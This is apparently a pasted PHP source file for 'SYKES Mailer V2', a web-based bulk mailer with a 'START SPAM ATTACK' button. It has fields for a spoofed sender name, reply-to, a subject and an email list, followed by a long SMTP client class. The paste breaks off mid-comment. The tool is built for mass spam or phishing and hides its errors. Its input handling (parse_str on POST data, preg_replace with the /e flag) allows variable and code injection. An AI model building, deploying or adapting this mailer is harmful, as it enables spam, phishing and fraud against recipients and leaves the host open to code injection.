· 9 years ago · May 23, 2017, 07:42 PM
1<?
2error_reporting(0);
3function query_str($params){
4$str = '';
5foreach ($params as $key => $value) {
6$str .= (strlen($str) < 1) ? '' : '&';
7$str .= $key . '=' . rawurlencode($value);
8}
9return ($str);
10}
11function lrtrim($string){
12return stripslashes(ltrim(rtrim($string)));
13}
14if(isset($_POST['action'] ) ){
15
16$b = query_str($_POST);
17parse_str($b);
18$sslclick=lrtrim($sslclick);
19$action=lrtrim($action);
20$message=lrtrim($message);
21$emaillist=lrtrim($emaillist);
22$from=lrtrim($from);
23$reconnect=lrtrim($reconnect);
24$epriority=lrtrim($epriority);
25$my_smtp=lrtrim($my_smtp);
26$ssl_port=lrtrim($ssl_port);
27$smtp_username=lrtrim($smtp_username);
28$smtp_password=lrtrim($smtp_password);
29$replyto=lrtrim($replyto);
30$subject_base=lrtrim($subject);
31$realname_base=lrtrim($realname);
32$file_name=$_FILES['file']['name'];
33$file=$_FILES['file']['tmp_name'];
34$urlz=lrtrim($urlz);
35$contenttype=lrtrim($contenttype);
36$encode_text=$_POST['encode'];
37
38
39 $message = urlencode($message);
40 $message = ereg_replace("%5C%22", "%22", $message);
41 $message = urldecode($message);
42 $message = stripslashes($message);
43 $subject = stripslashes($subject);
44 if ($encode_text == "yes") {
45 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
46 $subject = str_replace(' ', '_', $subject);
47 $subject = "=?UTF-8?Q?$subject?=";
48 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
49 $realname = str_replace(' ', '_', $realname);
50 $realname = "=?UTF-8?Q?$realname?=";
51 }
52}
53
54?>
55
56<html>
57
58<head>
59
60<title>SYKES Mailer V2</title>
61<link rel="shortcut icon" type="image/png" href="http://icons.iconarchive.com/icons/toma4025/rumax/256/mails-icon.png"/>
62<link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
63 <link rel="stylesheet" href="">
64<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
65<script src=''></script>
66<link href='http://fonts.googleapis.com/css?family=Oswald:300' rel='stylesheet' type='text/css'>
67
68<style type="text/css">
69
70
71
72@font-face {
73 font-family: 'Oswald';
74 font-style: normal;
75}
76* {
77font-weight:bold;
78font-family: "Oswald";
79}
80
81
82.style1 {
83 font-family: Oswald, Arial, Helvetica, sans-serif;
84}
85body{
86margin:0px;
87}
88.bgup {
89background: url(https://cdn.shopify.com/s/files/1/0094/2162/products/Sample19.3_grande_264f6235-7ef3-4200-8679-2a1aa9024b0b_1024x1024.jpg?v=1481126572);
90}
91
92.uibutton {
93 position: relative;
94 z-index: 1;
95 overflow: visible;
96 display: inline-block;
97 padding: 0.3em 0.6em 0.375em;
98 border: 1px solid #878076;
99 border-bottom-color: #878076;
100
101 margin: 0;
102 text-decoration: none;
103 text-align: center;
104 font: bold 18px/normal Oswald, verdana, arial, sans-serif;
105 white-space: nowrap;
106 cursor: pointer;
107 /* outline: none; */
108 color: #f9f9f9;
109 background-color: #eee;
110 background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#878076), to(#878076));
111 background-image: -moz-linear-gradient(#878076, #878076);
112 background-image: -o-linear-gradient(#878076, #878076);
113 background-image: linear-gradient(#878076, #878076);
114
115 /* IE hacks */
116
117 *display: inline;
118
119}
120
121.uibutton:hover,
122.uibutton:focus,
123.uibutton:active {
124 border-color: #878076 #878076 #878076 #878076;
125}
126
127.uibutton:active {
128 border-color: #878076;
129 background: #878076;
130 filter: none;
131 -webkit-box-shadow: none;
132 -moz-box-shadow: none;
133 box-shadow: none;
134}
135
136/* overrides extra padding on button elements in Firefox */
137.uibutton::-moz-focus-inner {
138 padding: 0;
139 border: 0;
140}
141
142/*Loadigng tzebi*/
143.back-link a {
144 color: #4ca340;
145 text-decoration: none;
146 border-bottom: 1px #4ca340 solid;
147 }
148 .back-link a:hover,
149 .back-link a:focus {
150 color: #408536;
151 text-decoration: none;
152 border-bottom: 1px #408536 solid;
153 }
154 h1 {
155 height: 100%;
156 /* The html and body elements cannot have any padding or margin. */
157 margin: 0;
158 font-size: 14px;
159 font-family: 'Open Sans', sans-serif;
160 font-size: 32px;
161 margin-bottom: 3px;
162 }
163 .entry-header {
164 text-align: left;
165 margin: 0 auto 50px auto;
166 width: 80%;
167 max-width: 978px;
168 position: relative;
169 z-index: 10001;
170 }
171 #demo-content {
172 padding-top: 100px;
173 }
174
175-->
176</style>
177<style type="text/css">
178<!--
179.style1 {
180 font-size: 10px;
181 font-family: Oswald, Arial, Helvetica, sans-serif;
182}
183-->
184</style>
185<script>
186window.addEventListener("load", function(){
187 var load_screen = document.getElementById("loader-wrapper");
188 setTimeout( function ( ) { document.body.removeChild(load_screen); }, 5000 );
189});
190</script>
191</head>
192
193<body bgcolor="#f9f9f9" class="bgup" class="demo">
194 <div id="loader-wrapper">
195 <div id="loader"></div>
196 <div class="loader-section section-left"></div>
197 <div class="loader-section section-right"></div>
198 </div>
199<div class="cadre" style="height:10px;margin:0px auto;"></div>
200<div style="width:80%;margin:0 auto;">
201<p align="center"><img src="http://i.imgur.com/OSuC4Z4.png" alt="www.T00lz.us" height=""></p>
202<form name="form1" method="post" action="" enctype="multipart/form-data">
203
204 <br>
205
206 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
207
208
209
210 <tr>
211
212 <td width="100%" colspan="4" style="color:#fff;background:#878076" height="36">
213
214 <b>
215
216 <center><font face="Arial" size="2" color="#FFFFFF"> SYKES EDITION 2017 V2</font> </center></b></td>
217
218 </tr>
219 <tr>
220
221 <td width="10%" height="22" style="padding:10px;">
222 </font></td>
223
224 </tr>
225 <tr>
226
227 <td width="10%" height="22" style="padding:10px;">
228
229 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
230
231 Email:</font></div>
232
233 </td>
234
235 <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
236
237 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="from" value="<?=$from;?>" size="50">
238
239 </font></td>
240
241 <td width="31%" height="22" style="padding:10px;">
242
243 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
244
245 Name:</font></div>
246
247 </td>
248
249 <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
250
251 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="realname" value="<?=$realname_base;?>" size="50">
252
253 </font></td>
254
255 </tr>
256 <tr>
257
258 <td width="10%" height="22" style="padding:10px;">
259
260 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
261
262 </td>
263
264 <td width="50%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
265
266 <input type="text" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="replyto" value="<?=$replyto;?>" size="50">
267
268 </font></td>
269
270 <td width="31%" height="22" style="padding:10px;">
271
272 <p align="right"><font size="3" color='black' face="Verdana, Arial, Helvetica, sans-serif">
273 Priority:</font></td>
274
275 <td width="41%" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
276
277 </font><select style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
278 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
279 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
280 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
281 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
282 </select>
283 <font size="3"> Email Tag : <input type="text" size="12" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" name="rpemail" value="%email%" size="10">
284
285
286
287
288 </td>
289
290 </tr>
291
292 <tr>
293
294 <td width="10%" height="22" style="padding:10px;">
295
296 <div align="right"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
297
298 </td>
299
300 <td colspan="3" height="22" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
301
302 <input type="text" name="subject" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" value="<?=$subject_base;?>" size="90">
303
304 </font></td>
305
306 </tr>
307
308
309 <tr valign="top">
310
311<td colspan="3" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
312
313 <textarea name="message" cols="120" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" rows="10"><?=$message;?></textarea>
314
315 <br>
316
317
318
319 </font></td>
320
321 <td width="41%" height="190" style="padding:10px;"><font size="3" face="Verdana, Arial, Helvetica, sans-serif">
322
323 <textarea name="emaillist" style="background:#A5ABA9;;border: 1px solid #13282E;color:#333" cols="70" rows="10"><?=$emaillist;?></textarea>
324
325 </font></td>
326
327 </tr>
328 <tr>
329
330 <td width="100%" colspan="4" style="color:#fff;background:#878076" height="36">
331
332 <b>
333
334 <input type="hidden" name="action" value="send">
335 <input class="uibutton" width="100%" style="color:#fff;background:#878076" type="submit" value="START SPAM ATTACK">
336
337 </tr>
338 </table>
339<br><br>
340</form>
341
342
343
344
345<?
346
347if ($action){
348 if (!$from && !$subject && !$message && !$emaillist){
349 print "<script>alert('Please complete all fields before sending message.'); </script>";
350 die(); }
351
352class SMTP
353{
354 /**
355 * SMTP server port
356 * @var int
357 */
358 var $SMTP_PORT = 25;
359
360 /**
361 * SMTP reply line ending
362 * @var string
363 */
364 var $CRLF = "\r\n";
365
366 /**
367 * Sets whether debugging is turned on
368 * @var bool
369 */
370 var $do_debug; # the level of debug to perform
371
372 /**
373 * Sets VERP use on/off (default is off)
374 * @var bool
375 */
376 var $do_verp = false;
377
378 /**#@+
379 * @access private
380 */
381 var $smtp_conn; # the socket to the server
382 var $error; # error if any on the last call
383 var $helo_rply; # the reply the server sent to us for HELO
384 /**#@-*/
385
386 /**
387 * Initialize the class so that the data is in a known state.
388 * @access public
389 * @return void
390 */
391 function SMTP() {
392 $this->smtp_conn = 0;
393 $this->error = null;
394 $this->helo_rply = null;
395
396 $this->do_debug = 0;
397 }
398
399 /*************************************************************
400 * CONNECTION FUNCTIONS *
401 ***********************************************************/
402
403 /**
404 * Connect to the server specified on the port specified.
405 * If the port is not specified use the default SMTP_PORT.
406 * If tval is specified then a connection will try and be
407 * established with the server for that number of seconds.
408 * If tval is not specified the default is 30 seconds to
409 * try on the connection.
410 *
411 * SMTP CODE SUCCESS: 220
412 * SMTP CODE FAILURE: 421
413 * @access public
414 * @return bool
415 */
416
417 function Connect($host,$port=0,$tval=30) {
418 # set the error val to null so there is no confusion
419 $this->error = null;
420
421 # make sure we are __not__ connected
422 if($this->connected()) {
423 # ok we are connected! what should we do?
424 # for now we will just give an error saying we
425 # are already connected
426 $this->error = array("error" => "Already connected to a server");
427 return false;
428 }
429
430 if(empty($port)) {
431 $port = $this->SMTP_PORT;
432 }
433
434 #connect to the smtp server
435 $this->smtp_conn = fsockopen($host, # the host of the server
436 $port, # the port to use
437 $errno, # error number if any
438 $errstr, # error message if any
439 $tval); # give up after ? secs
440 # verify we connected properly
441 if(empty($this->smtp_conn)) {
442 $this->error = array("error" => "Failed to connect to server",
443 "errno" => $errno,
444 "errstr" => $errstr);
445 if($this->do_debug >= 1) {
446 echo "SMTP -> ERROR: " . $this->error["error"] .
447 ": $errstr ($errno)" . $this->CRLF;
448 }
449 return false;
450 }
451
452 # sometimes the SMTP server takes a little longer to respond
453 # so we will give it a longer timeout for the first read
454 // Windows still does not have support for this timeout function
455 if(substr(PHP_OS, 0, 3) != "WIN")
456 socket_set_timeout($this->smtp_conn, $tval, 0);
457
458 # get any announcement stuff
459 $announce = $this->get_lines();
460
461 # set the timeout of any socket functions at 1/10 of a second
462 //if(function_exists("socket_set_timeout"))
463 // socket_set_timeout($this->smtp_conn, 0, 100000);
464
465 if($this->do_debug >= 2) {
466 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
467 }
468
469 return true;
470 }
471
472 /**
473 * Performs SMTP authentication. Must be run after running the
474 * Hello() method. Returns true if successfully authenticated.
475 * @access public
476 * @return bool
477 */
478 function Authenticate($username, $password) {
479 // Start authentication
480 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
481
482 $rply = $this->get_lines();
483 $code = substr($rply,0,3);
484
485 if($code != 334) {
486 $this->error =
487 array("error" => "AUTH not accepted from server",
488 "smtp_code" => $code,
489 "smtp_msg" => substr($rply,4));
490 if($this->do_debug >= 1) {
491 echo "SMTP -> ERROR: " . $this->error["error"] .
492 ": " . $rply . $this->CRLF;
493 }
494 return false;
495 }
496
497 // Send encoded username
498 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
499
500 $rply = $this->get_lines();
501 $code = substr($rply,0,3);
502
503 if($code != 334) {
504 $this->error =
505 array("error" => "Username not accepted from server",
506 "smtp_code" => $code,
507 "smtp_msg" => substr($rply,4));
508 if($this->do_debug >= 1) {
509 echo "SMTP -> ERROR: " . $this->error["error"] .
510 ": " . $rply . $this->CRLF;
511 }
512 return false;
513 }
514
515 // Send encoded password
516 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
517
518 $rply = $this->get_lines();
519 $code = substr($rply,0,3);
520
521 if($code != 235) {
522 $this->error =
523 array("error" => "Password not accepted from server",
524 "smtp_code" => $code,
525 "smtp_msg" => substr($rply,4));
526 if($this->do_debug >= 1) {
527 echo "SMTP -> ERROR: " . $this->error["error"] .
528 ": " . $rply . $this->CRLF;
529 }
530 return false;
531 }
532
533 return true;
534 }
535
536 /**
537 * Returns true if connected to a server otherwise false
538 * @access private
539 * @return bool
540 */
541 function Connected() {
542 if(!empty($this->smtp_conn)) {
543 $sock_status = socket_get_status($this->smtp_conn);
544 if($sock_status["eof"]) {
545 # hmm this is an odd situation... the socket is
546 # valid but we are not connected anymore
547 if($this->do_debug >= 1) {
548 echo "SMTP -> NOTICE:" . $this->CRLF .
549 "EOF caught while checking if connected";
550 }
551 $this->Close();
552 return false;
553 }
554 return true; # everything looks good
555 }
556 return false;
557 }
558
559 /**
560 * Closes the socket and cleans up the state of the class.
561 * It is not considered good to use this function without
562 * first trying to use QUIT.
563 * @access public
564 * @return void
565 */
566 function Close() {
567 $this->error = null; # so there is no confusion
568 $this->helo_rply = null;
569 if(!empty($this->smtp_conn)) {
570 # close the connection and cleanup
571 fclose($this->smtp_conn);
572 $this->smtp_conn = 0;
573 }
574 }
575/////////////////////////////////////////////////////////////////////////////////////////
576/////////////////////////////////////////////////////////////////////////////////////////
577
578///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
579
580/////////////////////////////////////////////////////////////////////////////////////////
581/////////////////////////////////////////////////////////////////////////////////////////
582 /***************************************************************
583 * SMTP COMMANDS *
584 *************************************************************/
585
586 /**
587 * Issues a data command and sends the msg_data to the server
588 * finializing the mail transaction. $msg_data is the message
589 * that is to be send with the headers. Each header needs to be
590 * on a single line followed by a <CRLF> with the message headers
591 * and the message body being seperated by and additional <CRLF>.
592 *
593 * Implements rfc 821: DATA <CRLF>
594 *
595 * SMTP CODE INTERMEDIATE: 354
596 * [data]
597 * <CRLF>.<CRLF>
598 * SMTP CODE SUCCESS: 250
599 * SMTP CODE FAILURE: 552,554,451,452
600 * SMTP CODE FAILURE: 451,554
601 * SMTP CODE ERROR : 500,501,503,421
602 * @access public
603 * @return bool
604 */
605
606
607 function Data($msg_data) {
608 $this->error = null; # so no confusion is caused
609
610 if(!$this->connected()) {
611 $this->error = array(
612 "error" => "Called Data() without being connected");
613 return false;
614 }
615
616 fputs($this->smtp_conn,"DATA" . $this->CRLF);
617
618 $rply = $this->get_lines();
619 $code = substr($rply,0,3);
620
621 if($this->do_debug >= 2) {
622 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
623 }
624
625 if($code != 354) {
626 $this->error =
627 array("error" => "DATA command not accepted from server",
628 "smtp_code" => $code,
629 "smtp_msg" => substr($rply,4));
630 if($this->do_debug >= 1) {
631 echo "SMTP -> ERROR: " . $this->error["error"] .
632 ": " . $rply . $this->CRLF;
633 }
634 return false;
635 }
636
637 # the server is ready to accept data!
638 # according to rfc 821 we should not send more than 1000
639 # including the CRLF
640 # characters on a single line so we will break the data up
641 # into lines by \r and/or \n then if needed we will break
642 # each of those into smaller lines to fit within the limit.
643 # in addition we will be looking for lines that start with
644 # a period '.' and append and additional period '.' to that
645 # line. NOTE: this does not count towards are limit.
646
647 # normalize the line breaks so we know the explode works
648 $msg_data = str_replace("\r\n","\n",$msg_data);
649 $msg_data = str_replace("\r","\n",$msg_data);
650 $lines = explode("\n",$msg_data);
651
652 # we need to find a good way to determine is headers are
653 # in the msg_data or if it is a straight msg body
654 # currently I am assuming rfc 822 definitions of msg headers
655 # and if the first field of the first line (':' sperated)
656 # does not contain a space then it _should_ be a header
657 # and we can process all lines before a blank "" line as
658 # headers.
659 $field = substr($lines[0],0,strpos($lines[0],":"));
660 $in_headers = false;
661 if(!empty($field) && !strstr($field," ")) {
662 $in_headers = true;
663 }
664
665 $max_line_length = 998; # used below; set here for ease in change
666
667 while(list(,$line) = @each($lines)) {
668 $lines_out = null;
669 if($line == "" && $in_headers) {
670 $in_headers = false;
671 }
672 # ok we need to break this line up into several
673 # smaller lines
674 while(strlen($line) > $max_line_length) {
675 $pos = strrpos(substr($line,0,$max_line_length)," ");
676
677 # Patch to fix DOS attack
678 if(!$pos) {
679 $pos = $max_line_length - 1;
680 }
681
682 $lines_out[] = substr($line,0,$pos);
683 $line = substr($line,$pos + 1);
684 # if we are processing headers we need to
685 # add a LWSP-char to the front of the new line
686 # rfc 822 on long msg headers
687 if($in_headers) {
688 $line = "\t" . $line;
689 }
690 }
691 $lines_out[] = $line;
692
693 # now send the lines to the server
694 while(list(,$line_out) = @each($lines_out)) {
695 if(strlen($line_out) > 0)
696 {
697 if(substr($line_out, 0, 1) == ".") {
698 $line_out = "." . $line_out;
699 }
700 }
701 fputs($this->smtp_conn,$line_out . $this->CRLF);
702 }
703 }
704
705 # ok all the message data has been sent so lets get this
706 # over with aleady
707 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
708
709 $rply = $this->get_lines();
710 $code = substr($rply,0,3);
711
712 if($this->do_debug >= 2) {
713 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
714 }
715
716 if($code != 250) {
717 $this->error =
718 array("error" => "DATA not accepted from server",
719 "smtp_code" => $code,
720 "smtp_msg" => substr($rply,4));
721 if($this->do_debug >= 1) {
722 echo "SMTP -> ERROR: " . $this->error["error"] .
723 ": " . $rply . $this->CRLF;
724 }
725 return false;
726 }
727 return true;
728 }
729
730 /**
731 * Expand takes the name and asks the server to list all the
732 * people who are members of the _list_. Expand will return
733 * back and array of the result or false if an error occurs.
734 * Each value in the array returned has the format of:
735 * [ <full-name> <sp> ] <path>
736 * The definition of <path> is defined in rfc 821
737 *
738 * Implements rfc 821: EXPN <SP> <string> <CRLF>
739 *
740 * SMTP CODE SUCCESS: 250
741 * SMTP CODE FAILURE: 550
742 * SMTP CODE ERROR : 500,501,502,504,421
743 * @access public
744 * @return string array
745 */
746
747 function Expand($name) {
748 $this->error = null; # so no confusion is caused
749
750 if(!$this->connected()) {
751 $this->error = array(
752 "error" => "Called Expand() without being connected");
753 return false;
754 }
755
756 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
757
758 $rply = $this->get_lines();
759 $code = substr($rply,0,3);
760
761 if($this->do_debug >= 2) {
762 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
763 }
764
765 if($code != 250) {
766 $this->error =
767 array("error" => "EXPN not accepted from server",
768 "smtp_code" => $code,
769 "smtp_msg" => substr($rply,4));
770 if($this->do_debug >= 1) {
771 echo "SMTP -> ERROR: " . $this->error["error"] .
772 ": " . $rply . $this->CRLF;
773 }
774 return false;
775 }
776
777 # parse the reply and place in our array to return to user
778 $entries = explode($this->CRLF,$rply);
779 while(list(,$l) = @each($entries)) {
780 $list[] = substr($l,4);
781 }
782
783 return $list;
784 }
785
786 /**
787 * Sends the HELO command to the smtp server.
788 * This makes sure that we and the server are in
789 * the same known state.
790 *
791 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
792 *
793 * SMTP CODE SUCCESS: 250
794 * SMTP CODE ERROR : 500, 501, 504, 421
795 * @access public
796 * @return bool
797 */
798 function Hello($host="") {
799 $this->error = null; # so no confusion is caused
800
801 if(!$this->connected()) {
802 $this->error = array(
803 "error" => "Called Hello() without being connected");
804 return false;
805 }
806
807 # if a hostname for the HELO was not specified determine
808 # a suitable one to send
809 if(empty($host)) {
810 # we need to determine some sort of appopiate default
811 # to send to the server
812 $host = "localhost";
813 }
814
815 // Send extended hello first (RFC 2821)
816 if(!$this->SendHello("EHLO", $host))
817 {
818 if(!$this->SendHello("HELO", $host))
819 return false;
820 }
821
822 return true;
823 }
824
825 /**
826 * Sends a HELO/EHLO command.
827 * @access private
828 * @return bool
829 */
830 function SendHello($hello, $host) {
831 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
832
833 $rply = $this->get_lines();
834 $code = substr($rply,0,3);
835
836 if($this->do_debug >= 2) {
837 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
838 }
839
840 if($code != 250) {
841 $this->error =
842 array("error" => $hello . " not accepted from server",
843 "smtp_code" => $code,
844 "smtp_msg" => substr($rply,4));
845 if($this->do_debug >= 1) {
846 echo "SMTP -> ERROR: " . $this->error["error"] .
847 ": " . $rply . $this->CRLF;
848 }
849 return false;
850 }
851
852 $this->helo_rply = $rply;
853
854 return true;
855 }
856
857 /**
858 * Gets help information on the keyword specified. If the keyword
859 * is not specified then returns generic help, ussually contianing
860 * A list of keywords that help is available on. This function
861 * returns the results back to the user. It is up to the user to
862 * handle the returned data. If an error occurs then false is
863 * returned with $this->error set appropiately.
864 *
865 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
866 *
867 * SMTP CODE SUCCESS: 211,214
868 * SMTP CODE ERROR : 500,501,502,504,421
869 * @access public
870 * @return string
871 */
872 function Help($keyword="") {
873 $this->error = null; # to avoid confusion
874
875 if(!$this->connected()) {
876 $this->error = array(
877 "error" => "Called Help() without being connected");
878 return false;
879 }
880
881 $extra = "";
882 if(!empty($keyword)) {
883 $extra = " " . $keyword;
884 }
885
886 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
887
888 $rply = $this->get_lines();
889 $code = substr($rply,0,3);
890
891 if($this->do_debug >= 2) {
892 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
893 }
894
895 if($code != 211 && $code != 214) {
896 $this->error =
897 array("error" => "HELP not accepted from server",
898 "smtp_code" => $code,
899 "smtp_msg" => substr($rply,4));
900 if($this->do_debug >= 1) {
901 echo "SMTP -> ERROR: " . $this->error["error"] .
902 ": " . $rply . $this->CRLF;
903 }
904 return false;
905 }
906
907 return $rply;
908 }
909
910 /**
911 * Starts a mail transaction from the email address specified in
912 * $from. Returns true if successful or false otherwise. If True
913 * the mail transaction is started and then one or more Recipient
914 * commands may be called followed by a Data command.
915 *
916 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
917 *
918 * SMTP CODE SUCCESS: 250
919 * SMTP CODE SUCCESS: 552,451,452
920 * SMTP CODE SUCCESS: 500,501,421
921 * @access public
922 * @return bool
923 */
924
925 function Mail($from) {
926 $this->error = null; # so no confusion is caused
927
928 if(!$this->connected()) {
929 $this->error = array(
930 "error" => "Called Mail() without being connected");
931 return false;
932 }
933
934 $useVerp = ($this->do_verp ? "XVERP" : "");
935 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
936
937 $rply = $this->get_lines();
938 $code = substr($rply,0,3);
939
940 if($this->do_debug >= 2) {
941 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
942 }
943
944 if($code != 250) {
945 $this->error =
946 array("error" => "MAIL not accepted from server",
947 "smtp_code" => $code,
948 "smtp_msg" => substr($rply,4));
949 if($this->do_debug >= 1) {
950 echo "SMTP -> ERROR: " . $this->error["error"] .
951 ": " . $rply . $this->CRLF;
952 }
953 return false;
954 }
955 return true;
956 }
957/////////////////////////////////////////////////////////////////////////////////////////
958/////////////////////////////////////////////////////////////////////////////////////////
959
960///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
961
962/////////////////////////////////////////////////////////////////////////////////////////
963/////////////////////////////////////////////////////////////////////////////////////////
964
965 /**
966 * Sends the command NOOP to the SMTP server.
967 *
968 * Implements from rfc 821: NOOP <CRLF>
969 *
970 * SMTP CODE SUCCESS: 250
971 * SMTP CODE ERROR : 500, 421
972 * @access public
973 * @return bool
974 */
975 function Noop() {
976 $this->error = null; # so no confusion is caused
977
978 if(!$this->connected()) {
979 $this->error = array(
980 "error" => "Called Noop() without being connected");
981 return false;
982 }
983
984 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
985
986 $rply = $this->get_lines();
987 $code = substr($rply,0,3);
988
989 if($this->do_debug >= 2) {
990 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
991 }
992
993 if($code != 250) {
994 $this->error =
995 array("error" => "NOOP not accepted from server",
996 "smtp_code" => $code,
997 "smtp_msg" => substr($rply,4));
998 if($this->do_debug >= 1) {
999 echo "SMTP -> ERROR: " . $this->error["error"] .
1000 ": " . $rply . $this->CRLF;
1001 }
1002 return false;
1003 }
1004 return true;
1005 }
1006
1007 /**
1008 * Sends the quit command to the server and then closes the socket
1009 * if there is no error or the $close_on_error argument is true.
1010 *
1011 * Implements from rfc 821: QUIT <CRLF>
1012 *
1013 * SMTP CODE SUCCESS: 221
1014 * SMTP CODE ERROR : 500
1015 * @access public
1016 * @return bool
1017 */
1018 function Quit($close_on_error=true) {
1019 $this->error = null; # so there is no confusion
1020
1021 if(!$this->connected()) {
1022 $this->error = array(
1023 "error" => "Called Quit() without being connected");
1024 return false;
1025 }
1026
1027 # send the quit command to the server
1028 fputs($this->smtp_conn,"quit" . $this->CRLF);
1029
1030 # get any good-bye messages
1031 $byemsg = $this->get_lines();
1032
1033 if($this->do_debug >= 2) {
1034 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1035 }
1036
1037 $rval = true;
1038 $e = null;
1039
1040 $code = substr($byemsg,0,3);
1041 if($code != 221) {
1042 # use e as a tmp var cause Close will overwrite $this->error
1043 $e = array("error" => "SMTP server rejected quit command",
1044 "smtp_code" => $code,
1045 "smtp_rply" => substr($byemsg,4));
1046 $rval = false;
1047 if($this->do_debug >= 1) {
1048 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1049 $byemsg . $this->CRLF;
1050 }
1051 }
1052
1053 if(empty($e) || $close_on_error) {
1054 $this->Close();
1055 }
1056
1057 return $rval;
1058 }
1059
1060 /**
1061 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1062 * Returns true if the recipient was accepted false if it was rejected.
1063 *
1064 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1065 *
1066 * SMTP CODE SUCCESS: 250,251
1067 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1068 * SMTP CODE ERROR : 500,501,503,421
1069 * @access public
1070 * @return bool
1071 */
1072 function Recipient($to) {
1073 $this->error = null; # so no confusion is caused
1074
1075 if(!$this->connected()) {
1076 $this->error = array(
1077 "error" => "Called Recipient() without being connected");
1078 return false;
1079 }
1080
1081 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1082
1083 $rply = $this->get_lines();
1084 $code = substr($rply,0,3);
1085
1086 if($this->do_debug >= 2) {
1087 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1088 }
1089
1090 if($code != 250 && $code != 251) {
1091 $this->error =
1092 array("error" => "RCPT not accepted from server",
1093 "smtp_code" => $code,
1094 "smtp_msg" => substr($rply,4));
1095 if($this->do_debug >= 1) {
1096 echo "SMTP -> ERROR: " . $this->error["error"] .
1097 ": " . $rply . $this->CRLF;
1098 }
1099 return false;
1100 }
1101 return true;
1102 }
1103
1104 /**
1105 * Sends the RSET command to abort and transaction that is
1106 * currently in progress. Returns true if successful false
1107 * otherwise.
1108 *
1109 * Implements rfc 821: RSET <CRLF>
1110 *
1111 * SMTP CODE SUCCESS: 250
1112 * SMTP CODE ERROR : 500,501,504,421
1113 * @access public
1114 * @return bool
1115 */
1116 function Reset() {
1117 $this->error = null; # so no confusion is caused
1118
1119 if(!$this->connected()) {
1120 $this->error = array(
1121 "error" => "Called Reset() without being connected");
1122 return false;
1123 }
1124
1125 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1126
1127 $rply = $this->get_lines();
1128 $code = substr($rply,0,3);
1129
1130 if($this->do_debug >= 2) {
1131 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1132 }
1133
1134 if($code != 250) {
1135 $this->error =
1136 array("error" => "RSET failed",
1137 "smtp_code" => $code,
1138 "smtp_msg" => substr($rply,4));
1139 if($this->do_debug >= 1) {
1140 echo "SMTP -> ERROR: " . $this->error["error"] .
1141 ": " . $rply . $this->CRLF;
1142 }
1143 return false;
1144 }
1145
1146 return true;
1147 }
1148
1149 /**
1150 * Starts a mail transaction from the email address specified in
1151 * $from. Returns true if successful or false otherwise. If True
1152 * the mail transaction is started and then one or more Recipient
1153 * commands may be called followed by a Data command. This command
1154 * will send the message to the users terminal if they are logged
1155 * in.
1156 *
1157 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1158 *
1159 * SMTP CODE SUCCESS: 250
